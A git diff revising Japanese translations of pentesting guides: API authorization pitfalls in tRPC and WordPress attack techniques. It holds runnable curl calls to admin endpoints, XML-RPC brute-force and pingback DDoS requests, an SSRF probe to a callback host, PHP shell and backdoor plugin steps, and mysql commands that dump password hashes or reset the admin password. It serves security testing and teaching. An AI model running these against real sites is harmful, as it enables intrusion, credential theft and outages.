Testing**: 古い API バージョンは攻撃に対して脆弱である可能性が高いです。複数の API バージョンを常に確認してテストしてください。 -### **Tools and Resources for API Pentesting** +### Authorization & Business Logic (AuthN != AuthZ) — tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): APIエンドポイントを発見するのに優れています。ターゲットAPIに対してパスやパラメータをスキャンおよびブルートフォースするために使用します。 +近年の TypeScript スタックでは tRPC と Zod を組み合わせた入力バリデーションが一般的です。tRPC の `protectedProcedure` は通常リクエストに有効なセッション(認証)があることを保証しますが、呼び出し元が適切な role/permission(認可)を持っていることを意味しません。このミスマッチは、敏感な手続きが `protectedProcedure` だけで保護されている場合に Broken Function Level Authorization/BOLA を引き起こします。 + +- Threat model: 役割チェックが欠如していると、低権限の認証ユーザが管理者向けの手続きを呼び出せる可能性があります(例: background migrations, feature flags, tenant-wide maintenance, job control)。 +- Black-box signal: 基本アカウントで成功するはずのない管理者専用の `POST /api/trpc/.` エンドポイントが成功する場合。Self-serve signups は悪用可能性を大幅に高めます。 +- Typical tRPC route shape (v10+): JSON ボディは通常 {"input": {...}} の形でラップされます。 + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Practical exploitation (black-box) + +1) 通常のアカウントを登録し、認証済みセッション (cookies/headers) を取得する。 +2) “list”/“all”/“status” 手続きを介して、background jobs やその他の機密性の高いリソースを列挙する。 +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) ジョブの再起動などの特権操作を実行する: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +評価すべき影響 + +- non-idempotent restarts によるデータ破損: migrations/workers の同時実行を強制すると race conditions や inconsistent partial states を引き起こし得る(silent data loss、broken analytics)。 +- worker/DB starvation による DoS: 重いジョブを繰り返し起動すると worker pools や database connections が枯渇し、tenant-wide outages を引き起こす可能性がある。 + +### **API Pentesting のツールとリソース** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): API endpoints を発見するのに非常に有用。target APIs に対して paths and parameters を scan や brute force するために使う。 ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sjは、関連するAPIエンドポイントの弱い認証をチェックすることによって、**公開されたSwagger/OpenAPI定義ファイル**の監査を支援するために設計されたコマンドラインツールです。また、手動の脆弱性テストのためのコマンドテンプレートも提供します。 -- **automatic-api-attack-tool**、**Astra**、および**restler-fuzzer**のような追加ツールは、攻撃シミュレーションからファジング、脆弱性スキャンに至るまで、APIセキュリティテストのための特化した機能を提供します。 -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OASファイルに基づいてAPIを監査するAPIセキュリティツールです(このツールはRustで書かれています)。 +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj は、関連する API endpoints を確認して weak authentication をチェックすることで、**exposed Swagger/OpenAPI definition files** の監査を支援するコマンドラインツールです。手動の脆弱性テスト用のコマンドテンプレートも提供します。 +- 追加ツールとして **automatic-api-attack-tool**, **Astra**, **restler-fuzzer** などがあり、attack simulation から fuzzing や vulnerability scanning に至るまで、API security testing に特化した機能を提供します。 +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): これは OAS ファイルに基づいて API を監査する API セキュリティツールです(ツールは rust で書かれています)。 -### **学習と実践リソース** +### **学習と演習リソース** -- **OWASP API Security Top 10**: 一般的なAPIの脆弱性を理解するための必読書です ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf))。 -- **API Security Checklist**: APIを保護するための包括的なチェックリストです ([GitHub link](https://github.com/shieldfy/API-Security-Checklist))。 -- **Logger++ Filters**: APIの脆弱性を探すために、Logger++は便利なフィルターを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters))。 -- **API Endpoints List**: テスト目的のための潜在的なAPIエンドポイントのキュレーションリストです ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d))。 +- **OWASP API Security Top 10**: 一般的な API の脆弱性を理解するための必読資料 ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: API を保護するための包括的なチェックリスト ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). +- **Logger++ Filters**: API の脆弱性を探索するために、Logger++ は有用なフィルタを提供します ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). +- **API Endpoints List**: テスト目的での潜在的な API エンドポイントをまとめたキュレーションリスト ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). -## 参考文献 +## 参考 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) +- [認可の不備が示す一般的なセキュリティの盲点:CVE-2025-59305 のケーススタディ](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 6d78a8d9e..a8f3f4dfe 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## 基本情報 -- **Uploaded** ファイルは次の場所に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Themes files can be found in /wp-content/themes/,** そのためテーマの php を変更して RCE を得たい場合、おそらくこのパスを使用します。例えば、**theme twentytwelve** を使用すると、次の場所の **404.php** ファイルに **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Uploaded** ファイルは次に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Themes files can be found in /wp-content/themes/,** つまりテーマの php を変更して RCE を狙う場合、通常そのパスを使用します。例えば:**theme twentytwelve** を使用すると、次の **404.php** ファイルに **access** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- `wp-config.php` にはデータベースのルートパスワードが含まれていることがあります。 -- チェックすべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- **wp-config.php** 内にはデータベースのルートパスワードが含まれていることがあります。 +- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **主な WordPress ファイル** +### **Main WordPress Files** - `index.php` -- `license.txt` にはインストールされている WordPress のバージョンなど、有用な情報が含まれます。 -- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメール有効化プロセスに使用されます。 -- ログインフォルダ(隠すために名前が変更されている場合があります): +- `license.txt` はインストールされている WordPress のバージョンなど有用な情報が含まれています。 +- `wp-activate.php` は新しい WordPress サイトのセットアップ中のメール有効化プロセスで使用されます。 +- Login フォルダ(隠すために名前が変更されている場合があります): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) に置き換えられています。 +- `xmlrpc.php` は、HTTP をトランスポート、XML をエンコーディング機構としてデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の REST API に置き換えられています。 - `wp-content` フォルダはプラグインやテーマが格納される主要なディレクトリです。 -- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。 -- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。 -- `wp-sitemap.xml` WordPress 5.5 以降では、公開投稿や公開でクエリ可能な投稿タイプやタクソノミーを含む sitemap XML ファイルが生成されます。 +- `wp-content/uploads/` はプラットフォームへアップロードされたファイルが保存されるディレクトリです。 +- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどコアファイルが格納されるディレクトリです。 +- `wp-sitemap.xml` Wordpress バージョン 5.5 以降では、公開されている投稿やパブリックにクエリ可能な投稿タイプ、タクソノミーを含む sitemap XML ファイルが自動生成されます。 **Post exploitation** -- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要なデータベース名、データベースホスト、ユーザー名とパスワード、認証キーおよびソルト、データベーステーブルのプレフィックスなどの情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティング時に役立ちます。 +- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシュート時に有用です。 ### ユーザー権限 - **Administrator** -- **Editor**: 自分および他者の投稿を公開・管理できます -- **Author**: 自分の投稿を公開・管理できます -- **Contributor**: 投稿を書き管理できますが、公開することはできません -- **Subscriber**: 投稿を閲覧し、自分のプロフィールを編集できます +- **Editor**: 自分と他者の投稿を公開および管理します +- **Author**: 自分の投稿を公開および管理します +- **Contributor**: 投稿を作成・管理できますが公開はできません +- **Subscriber**: 投稿を閲覧し、プロフィールを編集できます ## **Passive Enumeration** ### **Get WordPress version** -`/license.txt` または `/readme.html` ファイルが存在するか確認してください。 +`/license.txt` または `/readme.html` が見つかるか確認してください -ページの **ソースコード** 内に(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +ページの **source code** 内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (524).png>) -### プラグインを取得 +### プラグインを入手 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -72,50 +72,45 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### 一般的なバージョンの抽出 +### バージョンを一般的に抽出する ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Active enumeration +## アクティブ列挙 ### Plugins and Themes -おそらくすべての Plugins and Themes を見つけることはできません。すべてを発見するには、**actively Brute Force a list of Plugins and Themes** を実行する必要があります(幸い、自動化ツールにこれらのリストが含まれている場合があります)。 +すべての Plugins and Themes を見つけられないことが多い。すべてを発見するには、**積極的に Brute Force して Plugins and Themes のリストを作成する** 必要がある(幸い、自動化ツールがこれらのリストを含んでいることが多い)。 -### Users +### ユーザー -- **ID Brute:** Brute Forcing により WordPress サイトの有効な users IDs を取得します: +- **ID Brute:** WordPress サイトの有効なユーザーは、ユーザーID を Brute Forcing することで取得できる: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。 +レスポンスが**200**または**30X**の場合、そのidは**有効**です。レスポンスが**400**の場合、そのidは**無効**です。 -- **wp-json:** ユーザーの情報を取得するためにクエリを投げてみてください: +- **wp-json:** クエリしてユーザーの情報を取得してみることもできます: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -ユーザーに関する情報を明らかにする別の `/wp-json/` エンドポイントは次のとおりです: +ユーザーに関する情報を明らかにする可能性がある別の `/wp-json/` endpoint は次のとおりです: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **このエンドポイントは投稿を行ったユーザーのみを公開する点に注意してください。** **Only information about the users that has this feature enable will be provided**。 +Note that this endpoint only exposes users that have made a post. **この機能を有効にしているユーザーに関する情報のみが提供されます**。 Also note that **/wp-json/wp/v2/pages** could leak IP addresses. -また、**/wp-json/wp/v2/pages** が IP アドレスを leak する可能性がある点にも注意してください。 -- **Login username enumeration**: When login in **`/wp-login.php`** the **message** is **different** is the indicated **username exists or not**. -- **Login username enumeration**: **`/wp-login.php`** にログインする際、表示される **メッセージ** が **ユーザー名の存在有無で異なる**。 +- **Login username enumeration**: **`/wp-login.php`** にログインしようとすると、表示される **メッセージ** が **異なり**、指定した **ユーザー名が存在するかどうか** を示します。 ### XML-RPC If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -もし `xml-rpc.php` が有効であれば、credentials brute-force を実行したり、他のリソースに対して DoS を仕掛けるために利用したりできます。(例えば、このプロセスは [using this](https://github.com/relarizky/wpxploit) を使って自動化できます)。 To see if it is active try to access to _**/xmlrpc.php**_ and send this request: -有効か確認するには _**/xmlrpc.php**_ にアクセスして、次のリクエストを送ってください: -**Check** **確認** ```html @@ -127,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます: +**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかったら、次のようなものを送信できます: ```html wp.getUsersBlogs @@ -137,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -認証情報が有効でない場合、200コードのレスポンス内にある_"Incorrect username or password"_というメッセージが表示されるはずです。 +認証情報が無効な場合、HTTP 200レスポンス内に_"Incorrect username or password"_というメッセージが表示されるはずです。 ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -正しい認証情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -173,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -また、同じリクエストで複数の資格情報を試せるので、**より速い方法**での brute-force に **`system.multicall`** を使用できます: +また、同じリクエストで複数の認証情報を試せるため、**より高速な方法**として **`system.multicall`** を使うと認証情報の brute-force を行えます:
**Bypass 2FA** -このメソッドはプログラム向けで人間向けではなく古いため、2FA をサポートしていません。したがって、有効な creds を持っているがメインの入口が 2FA によって保護されている場合、**xmlrpc.php を悪用してその creds で 2FA をバイパスしてログインできる可能性があります**。コンソールから行えるすべての操作ができるわけではない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。 +このメソッドはプログラム向けで人間向けではなく古い実装のため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合、**xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります**。ただし、コンソールから行えるすべての操作ができるわけではありませんが、Ippsec が説明しているように RCE に至ることができる場合があります: [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS or port scanning** -リスト内に _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\ -これを利用して、**数千**の Wordpress **サイト**に一つの **場所** へ **アクセス** させ(その場所で **DDoS** が発生します)、あるいは Wordpress に内部 **ネットワーク** を **スキャン** させることもできます(任意のポートを指定可能です)。 +リスト内にメソッド _**pingback.ping**_ が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。\ +これを使えば、**数千**の Wordpress **サイト** に一つの **場所** へ **アクセス** させ(その場所で **DDoS** が発生します)、あるいは Wordpress に内部 **ネットワーク** を **スキャン** させることもできます(任意のポートを指定可能)。 ```html pingback.ping @@ -196,9 +191,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -**faultCode** の値が **0**(17)より **大きい** 場合、そのポートは開いていることを意味します。 +**faultCode** の値が **0**(17)より**大きい** 場合、そのポートは開いています。 -前のセクションでの **`system.multicall`** の使用例を確認し、このメソッドを悪用してDDoSを引き起こす方法を学んでください。 +前のセクションでの **`system.multicall`** の使い方を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。 **DDoS** ```html @@ -214,15 +209,15 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ### wp-cron.php DoS -このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\ -このファイルに**アクセス**されると、**重い** MySQL **query** が実行されるため、**attackers** によって **DoS** を **引き起こす** のに利用される可能性があります。\ -また、デフォルトでは `wp-cron.php` は各ページロード時(クライアントが Wordpress の任意のページを要求するたび)に呼び出されるため、トラフィックの多いサイトでは問題(DoS)を引き起こす可能性があります。 +このファイルは通常Wordpressサイトのルートに存在します: **`/wp-cron.php`**\ +このファイルに**アクセス**されると、**heavy**なMySQL **query**が実行されるため、**attackers**によって**DoS**を**引き起こす**ために利用される可能性があります。\ +また、デフォルトでは `wp-cron.php` は各ページ読み込み時(クライアントが任意のWordpressページをリクエストするたび)に呼び出され、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。 -Wp-Cron を無効化し、ホスト内で定期的に必要な処理を行う real cronjob を作成することを推奨します(問題を引き起こさないように)。 +Wp-Cronを無効化し、ホスト内で実際のcronジョブを作成して、定期的に必要な処理を実行することが推奨されます(問題を引き起こさないように)。 ### /wp-json/oembed/1.0/proxy - SSRF -Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. +_Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you._ This is the response when it doesn't work: @@ -235,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** が存在するかをチェックし、存在する場合はそれらを利用しようとします。 +このツールは **methodName: pingback.ping** とパス **/wp-json/oembed/1.0/proxy** の存在を確認し、存在する場合はそれらを悪用しようと試みます。 ## 自動ツール ```bash @@ -243,39 +238,39 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## ビットを上書きしてアクセスを得る +## 1ビットを書き換えてアクセスを得る -実際の攻撃というより好奇心的な話です。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転させることができました。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転させ、NOT (`!`) 演算を NOP 化することができます。 +実際の攻撃というよりは好奇心のためのものだ。 この CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では、任意の wordpress ファイルの 1ビットを反転させることができた。 そのため、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転させて NOT (`!`) 演算を NOP にすることができた。 ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` ## **パネル RCE** -**テーマで使用されている php を変更する(管理者の認証情報が必要)** +**使用中のテーマの php を変更する(admin credentials が必要)** 外観 → テーマエディター → 404 テンプレート(右側) -php シェルの内容に変更する: +php shell 用に内容を変更: ![](<../../images/image (384).png>) -更新したページにどうアクセスするかをインターネットで調べてください。この場合、ここにアクセスします: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +更新したページにどうアクセスするかをインターネットで検索してください。この場合は次の URL にアクセスします: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF -使用できるもの: +使用できます: ```bash use exploit/unix/webapp/wp_admin_shell_upload ``` セッションを取得するため。 -## Plugin RCE +## プラグイン RCE -### PHP plugin +### PHP プラグイン -It may be possible to upload .php files as a plugin.\ -例えば次のようにphp backdoorを作成します: +プラグインとして .php ファイルをアップロードできる場合があります。\ +例えば次のように PHP バックドアを作成します: ![](<../../images/image (183).png>) @@ -283,82 +278,82 @@ It may be possible to upload .php files as a plugin.\ ![](<../../images/image (722).png>) -プラグインをアップロードしてInstall Nowを押します: +プラグインをアップロードして「Install Now」を押します: ![](<../../images/image (249).png>) -「Procced」をクリック: +「Proceed」をクリックします: ![](<../../images/image (70).png>) -おそらく見た目には何も起きないことが多いですが、Mediaに移動するとアップロードされたshellが表示されます: +おそらくこれだけでは何も起こらないように見えますが、Media に移動するとアップロードされたシェルが確認できます: ![](<../../images/image (462).png>) -それを開くと、reverse shellを実行するためのURLが表示されます: +それにアクセスすると、リバースシェルを実行するための URL が表示されます: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -この方法は、脆弱であることが知られている悪意あるプラグインのインストールを伴い、web shellを取得するために悪用できます。このプロセスはWordPressのダッシュボードから次のように実行されます: +この方法は、脆弱であることが知られている悪意のあるプラグインをインストールし、web シェルを取得するために悪用することを含みます。プロセスは WordPress ダッシュボードを通じて次のように行われます: -1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). -2. **Plugin Installation**: -- WordPressのダッシュボードで `Dashboard > Plugins > Upload Plugin` に移動します。 -- ダウンロードしたプラグインのzipファイルをアップロードします。 -3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。 -4. **Exploitation**: -- プラグイン "reflex-gallery" がインストール・有効化されていると、既知の脆弱性を悪用できます。 -- Metasploit framework はこの脆弱性用のexploitを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreterセッションを確立し、サイトへの不正アクセスが可能になります。 -- これはWordPressサイトを悪用する多数の方法のうちの一つに過ぎないことに注意してください。 +1. **プラグイン取得**: プラグインは Exploit DB のようなソースから入手します(例: [**here**](https://www.exploit-db.com/exploits/36374))。 +2. **プラグインのインストール**: +- WordPress ダッシュボードに移動し、`Dashboard > Plugins > Upload Plugin` に進みます。 +- ダウンロードしたプラグインの zip ファイルをアップロードします。 +3. **プラグインの有効化**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。 +4. **悪用**: +- プラグイン「reflex-gallery」をインストールして有効化すると、脆弱であることが知られているため悪用できます。 +- Metasploit framework はこの脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。 +- これは WordPress サイトを悪用する多くの方法の一つに過ぎないことに注意してください。 -コンテンツにはプラグインのインストールと有効化手順を示す視覚的な補助が含まれています。ただし、適切な許可なしにこのような方法で脆弱性を悪用することは違法であり非倫理的である点に注意してください。この情報は責任を持って、明確な許可のある penetration testing のような合法的な文脈でのみ使用してください。 +この内容には、プラグインのインストールと有効化の手順を示す WordPress ダッシュボードの視覚的補助が含まれています。ただし、正当な許可なしにこのような方法で脆弱性を悪用することは違法かつ非倫理的である点に注意してください。本情報は責任を持って、明示的な許可のあるペネトレーションテストなど法的な文脈でのみ使用してください。 **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## From XSS to RCE +## XSS から RCE へ -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性へエスカレーションするためのスクリプトです。詳しくは [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** をサポートし、次のことを可能にします: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は、WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートさせるためのスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X.** をサポートし、以下を可能にします: - _**Privilege Escalation:**_ WordPress にユーザーを作成します。 -- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(backdoor)を WordPress にアップロードします。 +- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(バックドア)を WordPress にアップロードします。 - _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。 - _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。 -- _**(Custom) Custom Exploits:**_ サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイトを提供します。 +- _**(Custom) Custom Exploits:**_ サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイト。 -## Post Exploitation +## ポストエクスプロイテーション -ユーザー名とパスワードの抽出: +ユーザー名とパスワードを抽出する: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -管理者のパスワードを変更する: +adminのパスワードを変更する: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Wordpress プラグイン Pentest -### Attack Surface +### 攻撃対象 -Wordpress plugin がどのように機能を公開するかを把握することは、その機能の脆弱性を発見する上で重要です。プラグインが機能を公開する方法は以下の箇条書きに示してあり、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。 +Wordpress プラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を見つけるために重要です。以下の箇条書きでプラグインが機能を公開する可能性のある方法と、脆弱なプラグインの例を [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) で確認できます。 - **`wp_ajax`** -プラグインが機能を公開する方法のひとつが AJAX handlers 経由です。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に依存しているケースはかなり頻繁に見られます。その nonce は **Wordpress インスタンスに認証された任意のユーザーが持っている可能性がある**(役割に依らず)ためです。 +プラグインが機能を公開する方法の一つに、AJAXハンドラ経由があります。これらはロジック、authorization、または authentication のバグを含んでいることがあります。さらに、これらの関数は認証と認可の両方を Wordpress nonce の存在に基づいていることが多く、**Wordpress インスタンスで認証された任意のユーザーが持っている可能性があります**(役割に関係なく)。 -これらはプラグイン内の関数を公開するために使用される関数です: +プラグイン内の関数を公開するために使用される関数は以下のとおりです: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` の使用はエンドポイントを任意のユーザー(未認証のユーザーを含む)からアクセス可能にします。** +**`nopriv` の使用により、そのエンドポイントは任意のユーザー(未認証のユーザーも含む)からアクセス可能になります。** > [!CAUTION] -> さらに、関数が `wp_verify_nonce` でユーザーの認可のみをチェックしている場合、この関数は単にユーザーがログインしているかどうかを確認しているだけで、通常はユーザーのロールをチェックしません。そのため、権限の低いユーザーが高い権限を要する操作にアクセスできる可能性があります。 +> さらに、関数が `wp_verify_nonce` を使ってユーザーの認可のみを確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常ユーザーのロール(権限)を確認しません。したがって、権限の低いユーザーが高権限の操作にアクセスできる可能性があります。 - **REST API** -wordpress から関数を公開するには、`register_rest_route` 関数を使って rest AP を登録することも可能です: +wordpress から関数を `register_rest_route` 関数を使って rest AP を登録して公開することも可能です: ```php register_rest_route( $this->namespace, '/get/', 